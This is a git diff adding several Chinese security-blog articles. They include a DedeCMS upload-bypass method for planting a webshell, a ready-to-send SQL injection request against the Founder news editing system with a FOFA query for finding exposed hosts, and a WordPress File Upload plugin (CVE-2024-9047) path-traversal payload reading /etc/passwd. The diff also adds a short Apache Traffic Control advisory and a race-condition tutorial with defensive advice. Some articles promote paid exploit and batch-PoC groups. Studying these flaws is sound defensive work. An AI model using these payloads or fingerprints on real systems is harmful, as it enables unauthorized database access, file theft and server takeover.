+![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycU99fZEhvngeeAhFOvhTibttSplYbBpeeLZGgZt41El4icmrBibojkvLNw/640?wx_fmt=gif "") + +来阅读本文 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWge7Mibiad1tV0iaF8zSD5gzicbxDmfZCEL7vuOevN97CwUoUM5MLeKWibWlibSMwbpJ28lVg1yj1rQflyQ/640?wx_fmt=gif "") + +**点它,分享点赞在看都在这里** + diff --git a/doc/dedecms织梦任意文件上传漏洞.md b/doc/dedecms织梦任意文件上传漏洞.md new file mode 100644 index 00000000..ffb87012 --- /dev/null +++ b/doc/dedecms织梦任意文件上传漏洞.md @@ -0,0 +1,59 @@ +# dedecms织梦任意文件上传漏洞 + 雾鸣安全 2024-12-24 06:37 + +雾鸣Team + + +**CNMistSafety** + + + +漏洞类型:通用型 + +漏洞版本:≤ V5.7.116 + +dedecms织梦任意文件上传 + +1、独家秘制文件环境: + +uploads.txt,uploads.html,uploads.php + + +2、文件介绍: + +uploads.txt放置需要的危险函数。 + +uploads.html内容大概意思就是绕过限制危险函数。具体参考file_manage_control +. +php文件,基本全局都是这个吊样。 + +uploads.php内容是辅助uploads.html上传页面的后端,包括调用uploads.txt文件。 + + +3、功能使用: + +分别将秘制文件上传到文件管理器跟目录。就会得到一个自定义的上传页面,然后根据自定义的上传页面进行任意文件上传(直接跳过危险函数限制)。我这里是使用冰蝎lxmtools.php进行getshell测试。测试下来一波,文件管理器是一点脾气都不敢有。 + + +更多漏洞更新请查看:https://lixiaoming.net + + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/bQv07rEoSgnASDXC53WkoCVAbC73AzGr2gJ1hkgmLJf47DcQBvKhS65n8gFR9Rfr2aeIbyMIbxguySA37OaCNA/640?wx_fmt=gif "") + + +                            + +《中华人民共和国网络安全法》 + +《本文章仅供学习参考,请勿进行违法操作》 + + +![](https://mmbiz.qpic.cn/mmbiz_png/oYEjKAbwRS6xWic07knBw6a8TWtHe81ZSSYMicq8FZrMs0gbHqibHXN1PzHXSrE6LrSmH03cAWblCQibnZmOibIlzqw/640?wx_fmt=png "") + +©2024-雾鸣Team + + + diff --git a/doc/「漏洞复现」方正畅享全媒体新闻采编系统 reportCenter.do SQL注入漏洞.md b/doc/「漏洞复现」方正畅享全媒体新闻采编系统 reportCenter.do SQL注入漏洞.md new file mode 100644 index 00000000..9ed5fb94 --- /dev/null +++ b/doc/「漏洞复现」方正畅享全媒体新闻采编系统 reportCenter.do SQL注入漏洞.md @@ -0,0 +1,126 @@ +# 「漏洞复现」方正畅享全媒体新闻采编系统 reportCenter.do SQL注入漏洞 +冷漠安全 冷漠安全 2024-12-24 05:57 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/rPMtsalfZ0pFeDPJNnYaE7pYibBLQrUbLZwqelcotCqhYf0seBKfHroSUm8XuHyka5I3SmicWcJYUpZbFmxJCZ1Q/640?wx_fmt=gif&from=appmsg "") + +0x01 免责声明 + +请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!! + +0x02 + +产品介绍 + +方正畅享全媒体新闻生产系统是以内容资产为核心的智能化融合媒体业务平台,融合了报、网、端、微、自媒体分发平台等全渠道内容。该平台由协调指挥调度、数据资源聚合、融合生产、全渠道发布、智能传播分析、融合考核等多个平台组成,贯穿新闻生产策、采、编、发、存、传、评、营的每个环节, 涵盖桌面端、移动端(超融合掌上编辑部)、大屏端三端联动进行编采业务支撑。平台通过大数据+AI的赋能,助力融媒体在内容生产、数据资产、报道指挥、绩效考核等业务环节。 + +0x03 + +漏洞威胁 + +方正畅享全媒体新闻采编系统 reportCenter.do 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。 + +0x04 + +漏洞环境 + +FOFA: +  +``` +app="FOUNDER-全媒体采编系统" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0ozGf5EnlhsS23md8hABHQmqTqWATVYJfAqibqy5z074b09ADo45HcHaGbicCChmreVl74K8pXb7NzQ/640?wx_fmt=png&from=appmsg "") + + +0x05 + +漏洞复现 + +PoC +``` +POST /newsedit/report/reportCenter.do HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 +Content-Type: application/x-www-form-urlencoded +Connection: close + +type=paperLayoutList&paperDate=2023-1-1&token=1&pageNo=1&pageSize=1&order=x' THEN 5 ELSE 5 END) AS status from (select '1x' as SYS_CURRENTSTATUS) d) tmp where cast(@@version as int)=5-- a +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0ozGf5EnlhsS23md8hABHQmoicj0SAOZmvjoib9QvIoNhibSzbHNLkxpBboia89oKUWnibUwtOXn85thhQ/640?wx_fmt=png&from=appmsg "") + +0x06 + +批量脚本验证 + +Nuclei验证脚本已发布 + +知识星球:冷漠安全 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0ozGf5EnlhsS23md8hABHQmFkCglOJKhBgC8IXI0G7PWe2NlkwNFo8dKibiaKsVRpm3NKFqZG55OUXw/640?wx_fmt=png&from=appmsg "") + + +0x07 + +修复建议 + +关闭互联网暴露面或接口设置访问权限 + +升级至安全版本  + +0x08 + +加入我们 + +漏洞详情及批量检测POC工具请前往知识星球获取 + +知识星球:冷漠安全 + +交个朋友,限时优惠券:加入立减25 + +星球福利:每天更新最新漏洞POC、资料文献、内部工具等 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0ozGf5EnlhsS23md8hABHQm9XorCsYAicmfR5J54DF2xz9hkaeJNGGias3hZ1gl0hBHqwibtoHqIJg6Q/640?wx_fmt=png&from=appmsg "") + + +「星球介绍」: + +本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。 + +本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。 + +本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。 + + +「星球服务」: + + +加入星球,你会获得: + + +♦ 批量验证漏洞POC脚本 + + +♦ 0day、1day分享 + + +♦ 汇集其它付费星球资源分享 + + +♦ 大量的红蓝对抗实战资源 + + +♦ 优秀的内部红蓝工具及插件 + + +♦ 综合类别优秀Wiki文库及漏洞库 + + +♦ 提问及技术交流 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/rPMtsalfZ0ozGf5EnlhsS23md8hABHQmtTeEHSkHGB5ArQLacCQz0tdflNubTLMkC3X0Y2DsHKCDltib2nAXXUQ/640?wx_fmt=gif&from=appmsg "") + + diff --git a/doc/【漏洞预警】CVE-2024-45387.md b/doc/【漏洞预警】CVE-2024-45387.md new file mode 100644 index 00000000..8fa1264f --- /dev/null +++ b/doc/【漏洞预警】CVE-2024-45387.md @@ -0,0 +1,17 @@ +# 【漏洞预警】CVE-2024-45387 + 独眼情报 2024-12-24 06:00 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnR6ELrIjLDLx0G7hEXunSXQMmCElkrnnCW0qWT7osHoA5kV1JWYp49nBNmdzbAsD8Z3rmiczEiaYZyg/640?wx_fmt=png&from=appmsg "") +Apache Traffic Control:Traffic Ops 端点 PUT deliveryservice_request_comments中的 SQL 注入 +# 受影响的版本: +- Apache Traffic Control 8.0.0 到 8.0.1 + +- Apache Traffic Control 7.0.0 到 8.0.0 之前的版本不受影响 + +# 描述: + +Apache Traffic Control <= 8.0.1、>= 8.0.0 中的 Traffic Ops 中存在 SQL 注入漏洞,允许具有“admin”、“federation”、“operations”、“portal”或“steering”角色的特权用户通过发送特制的 PUT 请求对数据库执行任意 SQL。 + +如果运行受影响的 Traffic Ops 版本,建议用户升级到 Apache Traffic Control 8.0.2 版本。 + + diff --git a/doc/【首发 1day】WordPress File Upload 插件存在前台任意文件读取漏洞(CVE-2024-9047).md b/doc/【首发 1day】WordPress File Upload 插件存在前台任意文件读取漏洞(CVE-2024-9047).md new file mode 100644 index 00000000..c55d54b4 --- /dev/null +++ b/doc/【首发 1day】WordPress File Upload 插件存在前台任意文件读取漏洞(CVE-2024-9047).md @@ -0,0 +1,224 @@ +# 【首发 1day】WordPress File Upload 插件存在前台任意文件读取漏洞(CVE-2024-9047) +原创 Mstir 星悦安全 2024-12-24 03:54 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/lSQtsngIibibSOeF8DNKNAC3a6kgvhmWqvoQdibCCk028HCpd5q1pEeFjIhicyia0IcY7f2G9fpqaUm6ATDQuZZ05yw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +点击上方 +蓝字 +关注我们 并设为 +星标 +## 0x00 前言 + +**WordPress****File Upload 插件,在 <= 4.24.11 版本前的 wfu_file_downloader.php 文件存在前台任意文件读取+任意文件删除漏洞,CVSS评分9.8,Fofa大量存在,且危害较大,没有分析的文章,于是分析一下.** + +**影响版本: <= 4.24.11** + +**Fofa指纹:"wp-content/plugins/wp-file-upload"** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5erbVnIkcnTFIEZy9wXJARfQ7LMicoRWCYGkdvCmFfxFxGS50v7CydEvnS0fTU48Xaunp2JUiby0Aog/640?wx_fmt=other&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5erbVnIkcnTFIEZy9wXJARfoUrEVTckqok9H4LvCTqLFSI1BhClMLrdk4k8KppeMxjpJdIXjFzlkw/640?wx_fmt=other&from=appmsg "") +## 0x01 漏洞分析&复现 + +安装完毕后,位于 /wp-content/plugins/wp-file-upload/wfu_file_downloader.php 中的wfu_fopen_for_downloader 方法存在fopen 函数导致文件读取操作. + +``` +function wfu_fopen_for_downloader($filepath, $mode) { +  if ( substr($filepath, 0, 7) != "sftp://" ) return @fopen($filepath, $mode); +  $ret = false; +  $ftpinfo = wfu_decode_ftpurl($filepath); +  if ( $ftpinfo["error"] ) return $ret; +  $data = $ftpinfo["data"]; +  { +    $conn = @ssh2_connect($data["ftpdomain"], $data["port"]); +    if ( $conn && @ssh2_auth_password($conn, $data["username"], $data["password"]) ) { +      $sftp = @ssh2_sftp($conn); +      if ( $sftp ) { +        //$ret = @fopen("ssh2.sftp://".intval($sftp).$data["filepath"], $mode); +        $contents = @file_get_contents("ssh2.sftp://".intval($sftp).$data["filepath"]); +        $stream = fopen('php://memory', 'r+'); +        fwrite($stream, $contents); +        rewind($stream); +        $ret = $stream; +      } +    } +  } +   +  return $ret; +} + +``` + + +实际在 wfu_download_file 方法就调用到了该函数,且需满足一些条件,其中Cookie中的wfu_storage_pQ1DyzbQp5hBxQpW 为需要读取的文件,包括 wfu_download_ticket_Hw8h7dBmxROx27ZZ 时间戳需要精准在分钟内即可 + + +``` + WFU_USVAR_downloader('wfu_download_ticket_'.$ticket) ) { +        WFU_USVAR_unset_downloader('wfu_download_ticket_'.$ticket); +        WFU_USVAR_unset_downloader('wfu_storage_'.$file_code); +        echo 666; +        wfu_update_download_status($ticket, 'failed'); +        die(); +    } +    //destroy ticket so it cannot be used again +    WFU_USVAR_unset_downloader('wfu_download_ticket_'.$ticket); +     +    //if file_code starts with exportdata, then this is a request for export of +    //uploaded file data, so disposition_name wont be the filename of the file +    //but wfu_export.csv; also set flag to delete file after download operation +    if ( substr($file_code, 0, 10) == "exportdata" ) { +        $file_code = substr($file_code, 10); +        //$filepath = wfu_get_filepath_from_safe($file_code); +        $filepath = WFU_USVAR_downloader('wfu_storage_'.$file_code); +        $disposition_name = "wfu_export.csv"; +        $delete_file = true; +    } +    //if file_code starts with debuglog, then this is a request for download of +    //debug_log.txt +    elseif ( substr($file_code, 0, 8) == "debuglog" ) { +        $file_code = substr($file_code, 8); +        //$filepath = wfu_get_filepath_from_safe($file_code); +        $filepath = WFU_USVAR_downloader('wfu_storage_'.$file_code); +        $disposition_name = wfu_basename($filepath); +        $delete_file = false; +    } +    else { +        //$filepath = wfu_get_filepath_from_safe($file_code); +        $filepath = WFU_USVAR_downloader('wfu_storage_'.$file_code); +        if ( $filepath === false ) { +            WFU_USVAR_unset_downloader('wfu_storage_'.$file_code); +            wfu_update_download_status($ticket, 'failed'); +            die(); +        } +        $filepath = wfu_flatten_path($filepath); +        if ( substr($filepath, 0, 1) == "/" ) $filepath = substr($filepath, 1); +        $filepath = ( substr($filepath, 0, 6) == 'ftp://' || substr($filepath, 0, 7) == 'ftps://' || substr($filepath, 0, 7) == 'sftp://' ? $filepath : WFU_USVAR_downloader('wfu_ABSPATH').$filepath ); +        $disposition_name = wfu_basename($filepath); +        $delete_file = false; +    } +    //destroy file code as it is no longer needed +    WFU_USVAR_unset_downloader('wfu_storage_'.$file_code); +    //check that file exists +    if ( !wfu_file_exists_for_downloader($filepath) ) { +        wfu_update_download_status($ticket, 'failed'); +        die('alert("'.( WFU_USVAR_exists_downloader('wfu_browser_downloadfile_notexist') ? WFU_USVAR_downloader('wfu_browser_downloadfile_notexist') : 'File does not exist!' ).'");'); +    } + +    $open_session = false; +    @set_time_limit(0); // disable the time limit for this script +    $fsize = wfu_filesize_for_downloader($filepath); +    if ( $fd = wfu_fopen_for_downloader($filepath, "rb") ) { +        $open_session = ( ( $wfu_user_state_handler == "session" || $wfu_user_state_handler == "" ) && ( function_exists("session_status") ? ( PHP_SESSION_ACTIVE !== session_status() ) : ( empty(session_id()) ) ) ); +        if ( $open_session ) session_start(); +        header('Content-Type: application/octet-stream'); +        header("Content-Disposition: attachment; filename=\"".$disposition_name."\""); +        header('Content-Transfer-Encoding: binary'); +        header('Connection: Keep-Alive'); +        header('Expires: 0'); +        header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); +        header('Pragma: public'); +        header("Content-length: $fsize"); +        $failed = false; +        while( !feof($fd) ) { +            $buffer = @fread($fd, 1024*8); +            echo $buffer; +            ob_flush(); +            flush(); +            if ( connection_status() != 0 ) { +                $failed = true; +                break; +            } +        } +        fclose ($fd); +    } +    else $failed = true; +     +    if ( $delete_file ) wfu_unlink_for_downloader($filepath); +     +    if ( !$failed ) { +        wfu_update_download_status($ticket, 'downloaded'); +        if ( $open_session ) session_write_close(); +        die(); +    } +    else { +        wfu_update_download_status($ticket, 'failed'); +        if ( $open_session ) session_write_close(); +        die('alert("'.( WFU_USVAR_exists_downloader('wfu_browser_downloadfile_failed') ? WFU_USVAR_downloader('wfu_browser_downloadfile_failed') : 'Could not download file!' ).'");'); +    } +} + +``` + +Payload: +``` +GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce HTTP/1.1 +Host: 127.0.0.1 +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Cookie: wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce=cfyMMnYQqNBbcBNMLTCDnE7ezEAdzLC3; wfu_storage_pQ1DyzbQp5hBxQpW=/../../../../../etc/passwd[[name]]; wfu_download_ticket_Hw8h7dBmxROx27ZZ=时间戳; wfu_ABSPATH=/; +Connection: close + +``` + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5erbVnIkcnTFIEZy9wXJARfgaVthDNqmDssrOicCcNuSOYWsyhCzW77ammk26bhaNxtTPibhFuU8BgA/640?wx_fmt=other&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5erbVnIkcnTFIEZy9wXJARfviaLjU0fFqR8BkXfX3GdfI5Q8UYsb8aDdX5xEdZYDONdOuVuibLttSAA/640?wx_fmt=other&from=appmsg "") + +**利用脚本** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5erbVnIkcnTFIEZy9wXJARfAZKgUcxBtibiaRW5Nia6QKLpvll52cPfPWwFOrzSRNGE07DaHwRKQLVFQ/640?wx_fmt=png&from=appmsg "") +## 0x02 脚本下载 + +**标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转** + +**利用脚本关注公众号发送 241224 获取!** + + + + + +**** +**进公开群,代码审计,众测,驻场,渗透测试,攻防演练,CNVD证书全网最低价+VX: Lonely3944** + +**** +![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5erbVnIkcnTFIEZy9wXJARfhbPBGic08dIfyq6cCbZdhlLkQETGMqZfcZ4FxH5meYTWZAReibE9ZZcA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5erbVnIkcnTFIEZy9wXJARfGm5tc2via1EPictNibZVv7KiaQ3fIQQzxTaJibWDFmw6QaNzYicxTR3ye93g/640?wx_fmt=jpeg "") + +**免责声明:****文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!** + diff --git a/doc/一文理解条件竞争漏洞.md b/doc/一文理解条件竞争漏洞.md new file mode 100644 index 00000000..5e71c256 --- /dev/null +++ b/doc/一文理解条件竞争漏洞.md @@ -0,0 +1,163 @@ +# 一文理解条件竞争漏洞 +白帽子左一 白帽子左一 2024-12-24 04:01 + +扫码领资料 + +获网安教程 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CBJYPapLzSFbaUgVwdsriauB77CgQS8lyBNAxtx9IMqJQdhuuoITunu8A5Gp7kFjF7BvEXSaLMuDTYhnu7Nicghg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaaJcib7FH02wTKvoHALAMw4fchVnBLMw4kTQ7B9oUy0RGfiacu34QEZgDpfia0sVmWrHcDZCV1Na5wDQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + + +**来****Track安全社区投稿~** + +**赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)** +## 理解竞争条件的基本概念 + +竞争条件(也就是条件竞争,一个意思)是一种常见的漏洞类型,与业务逻辑缺陷密切相关。当网站在没有足够保护措施的情况下并发处理请求时,就会发生竞争条件。多个独立的线程同时与同一数据交互,会导致“碰撞”,从而引发应用程序的意外行为。竞争条件攻击通过精心设计的请求时序引发这些碰撞,利用意外行为进行恶意攻击。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CBJYPapLzSFnLnHU66WMj8gwtf5L1hF46ePCpEfsL46nRlQvvlkbZCxyMu1NMDJQiblLk3jHcCo7jzDcaPEtgzw/640?wx_fmt=png&from=appmsg "null") + +img + +发生碰撞的时间段被称为“竞争窗口”(race window)。例如,这可能是两次与数据库交互之间的一瞬间。 + +与其他逻辑缺陷类似,竞争条件的影响在很大程度上取决于漏洞所在的应用程序及其具体功能。 + +在本节中,您将学习如何识别和利用不同类型的竞争条件。我们将向您介绍如何利用 Burp Suite 的内置工具克服执行经典攻击的挑战,同时还会提供一种经过验证的方法,帮助您在隐藏的多步骤流程中检测新型竞争条件。这些方法远远超出了您可能已经熟悉的限制超越(limit overrun)攻击。 +# 限制超越型竞争条件 + +最广为人知的竞争条件类型之一是允许您突破应用程序业务逻辑所施加的某种限制。 + +例如,假设一家在线商店允许您在结账时输入促销代码,以获得订单的一次性折扣。为了应用这个折扣,应用程序可能执行以下高级步骤: + +1.检查您是否已经使用过该促销代码。 + +2.将折扣应用于订单总额。 + +3.更新数据库中的记录,以反映您已经使用过该促销代码。 + +如果您稍后尝试再次使用该代码,流程开始时执行的初始检查应会阻止您这样做: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CBJYPapLzSFnLnHU66WMj8gwtf5L1hF4xgiaAHRXxYLjtMKkAicr8FSnKlOVY6SJzMicdUOe0vmFoZka2AYw5ePBw/640?wx_fmt=png&from=appmsg "null") + +img + +现在想象一下,如果一个从未使用过该折扣代码的用户尝试几乎在同一时间两次使用该代码,会发生什么: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CBJYPapLzSFnLnHU66WMj8gwtf5L1hF4g1HVxIzmfq37PujibBYAXWkLBONnvgLRibeWTib82a1icnH0O3hnK4srHQ/640?wx_fmt=png&from=appmsg "null") + +img + +正如您所见,应用程会经历一个临时的子状态,即在完成请求处理之前进入并退出的状态。在这种情况下,子状态开始于服务器处理第一个请求时,并在更新数据库以表明您已使用该代码时结束。这会引入一个小的竞态窗口,在此期间,您可以反复多次领取折扣。 + +这种攻击有许多变种,包括: + +    多次兑换同一礼品卡 + +    多次为产品评分 + +    提取或转账超出账户余额的金额 + +    重复使用同一个 CAPTCHA 验证答案 + +    绕过防暴力破解的限速限制 + +限制超限(Limit Overrun)是所谓“检查时间与使用时间”(Time-of-Check to Time-of-Use, TOCTOU)漏洞的一个子类型。在本主题的后续部分,我们将看到一些竞态条件漏洞的例子,这些例子不属于上述两种类型中的任何一种。 +## 使用 Burp Repeater 检测和利用限制超限竞态条件 + +检测和利用限制超限竞态条件的过程相对简单。从高层次上来说,您只需执行以下步骤: + +        找到一个具有单次使用或限速限制的端点,该端点具有某种安全影响或其他有用的功能。 + +        快速连续地向该端点发出多个请求,看看是否可以突破限制。 + +主要的挑战在于让请求的时机对准,使得至少两个竞态窗口重叠,从而引发冲突。这个窗口通常只有几毫秒,有时甚至更短。 + +即使您完全同时发送所有请求,实际上,服务器处理每个请求的时间和顺序仍然会受到各种不可控和不可预测的外部因素的影响。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CBJYPapLzSFnLnHU66WMj8gwtf5L1hF4xibnp4h2X9QmDlHbicNkicXNEoowM2LjLqGMUrC3zh6dI5zusTTO4miaRQ/640?wx_fmt=png&from=appmsg "null") + +img + +Burp Suite 2023.9[1] 为 Burp Repeater 增加了强大的新功能,使您能够轻松地以并行方式发送一组请求,从而大大降低其中一个关键因素——网络抖动的影响。Burp 会根据服务器支持的 HTTP 版本自动调整使用的技术: + +    对于 HTTP/1,使用经典的“最后字节同步”技术。 + +    对于 HTTP/2,使用“单包攻击”技术,这项技术由 PortSwigger Research 团队首次在 2023 年 Black Hat USA 大会上展示。 + +“单包攻击”通过使用一个 TCP 包同时完成 20–30 个请求,能够完全中和网络抖动带来的干扰。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CBJYPapLzSFnLnHU66WMj8gwtf5L1hF4HTEj9DhibmQePT5hDwceyJJ0NoFas1T88mZDk8VXrxF6zjwF2zCRrEw/640?wx_fmt=png&from=appmsg "null") + +img + +尽管通常只需两个请求即可触发利用,但发送大量请求有助于缓解内部延迟(即服务器端抖动)。这在初始发现阶段特别有用。我们将在后续内容中详细介绍这一方法论。 +# 方法论 + +为了检测和利用隐藏的多步骤序列,我们推荐以下方法论,该方法总结自 PortSwigger Research 的白皮书  +《Smashing the state machine: The true potential of web race conditions》[2]。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CBJYPapLzSFnLnHU66WMj8gwtf5L1hF4JqMPZhUtpfrF6rBVGHOcfMiaWaeXhc2pgyGzP5C11caFJncN5C7Pa2w/640?wx_fmt=png&from=appmsg "null") + +img + +## 1 — 预测潜在的冲突 + +测试每个端点是不现实的。在正常绘制目标网站地图后,可以通过以下问题减少需要测试的端点数量: + +**这个端点是否对安全至关重要?** 许多端点不会涉及关键功能,因此不值得测试。 + +**是否存在冲突的潜在可能性?** 为了成功触发冲突,通常需要两个或多个请求对同一记录进行操作。例如,以下是密码重置实现的几种变体: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CBJYPapLzSFnLnHU66WMj8gwtf5L1hF4rWjgdSzqcOupSZjQ4odIx0tWoicvPDicVXD9kgEDHWnZsycuUZhgQMXA/640?wx_fmt=png&from=appmsg "null") + +img + +在第一个例子中,同时请求为两个不同用户重置密码不太可能导致冲突,因为它会修改两个不同的记录。然而,第二种实现允许通过针对两个不同用户的请求修改同一条记录。 +## 2 — 线索 + +为了识别线索,首先需要基准测试端点在正常条件下的行为。可以通过在 Burp Repeater 中将所有请求分组并使用 **按顺序发送分组请求(独立连接)** 选项完成。有关更多信息,请参阅 +按顺序发送请求[3]。 + +接下来,使用单包攻击(或如果不支持 HTTP/2 则使用最后字节同步)同时发送同一组请求,以最大限度减少网络抖动。可以通过在 Burp Repeater 中选择 **并行发送分组请求** 选项完成此操作。有关更多信息,请参阅 +并行发送请求[4]。或者,可以使用 Turbo Intruder 扩展,该扩展可从  +BApp Store[5] 下载。 + +任何细节都可能成为线索。只需观察与基准测试期间的行为是否存在某种形式的偏差。这可能是一个或多个响应的变化,但不要忽略二次效应,例如电子邮件内容的差异或应用程序后续行为的可见变化。 +## 3 — 概念验证 + +尝试理解正在发生的情况,移除多余的请求,并确保仍然可以复现结果。 + +高级竞态条件可能导致异常和独特的利用原语,因此最大化影响的路径可能并不总是显而易见。可以将每个竞态条件视为一种结构性弱点,而不是一个孤立的漏洞。 +# 如何防止竞态条件漏洞 + +当单个请求可以让应用程序经历不可见的子状态时,理解和预测其行为非常困难,这使得防御变得不切实际。为了正确保护应用程序,我们建议通过以下策略消除所有敏感端点的子状态: + +避免混合来自不同存储位置的数据。 + +使用数据存储的并发功能确保敏感端点的状态更改是原子的。例如,使用单个数据库事务验证支付与购物车金额一致并确认订单。 + +作为深度防御措施,利用数据存储完整性和一致性功能,例如列的唯一性约束。 + +不要使用一个数据存储层来保护另一个数据存储层。例如,会话不适合防止数据库的超限攻击。 + +确保会话处理框架保持会话的内部一致性。逐个更新会话变量而不是批量更新可能是一个诱人的优化,但非常危险。对于 ORM 来说也是如此;通过隐藏事务等概念,它们完全承担了相应责任。 + +在某些架构中,可能适合完全避免服务器端状态。相反,可以使用加密将状态推送到客户端,例如使用 JWT + +原文:https://medium.com/infosecmatrix/how-to-find-and-identify-race-condition-vulnerabilities-as-a-penetration-tester-9d9ecce6ed56 +### References + +[1] Burp Suite 2023.9: https://portswigger.net/burp/releases#professional[2] 《Smashing the state machine: The true potential of web race conditions》: https://portswigger.net/research/smashing-the-state-machine[3] 按顺序发送请求: https://portswigger.net/burp/documentation/desktop/tools/repeater/send-group#sending-requests-in-sequence[4] 并行发送请求: https://portswigger.net/burp/documentation/desktop/tools/repeater/send-group#sending-requests-in-parallel[5] BApp Store: https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988 + +**声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学********习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!** + +**如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CBJYPapLzSFIJlRFYoItlJDrScxuTPmfnqibC1ApJ2OKh5sF41qicCo5AvQ4icuG8kbqQxZ5HVypvJ8jZDzsmD37Q/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +